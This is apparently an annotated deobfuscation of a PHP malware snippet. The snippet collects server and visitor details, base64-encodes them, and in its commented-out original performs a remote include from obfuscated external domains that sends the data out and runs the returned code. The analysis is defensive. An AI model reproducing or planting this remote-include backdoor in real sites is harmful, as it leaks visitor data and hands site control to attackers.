Someone

<? 
//Disable error reporting
error_reporting(0);

//Sets the variables
$s="e";
$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);

//Encode the above varables, these are to be included

$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s"; 


/*
Then trys to include the file which looking at the url has a ? so is just a php script
Commented out so it doesn't execute


if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjkubXNodG1sLnJ1")."/?".$str))){}
else {include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);} 
*/

//The url would be

echo (base64_decode("aHR0cDovLw==").base64_decode("dXNlcjkubXNodG1sLnJ1")."/?".$str);

//If that can't be included it would be

echo (base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);

?>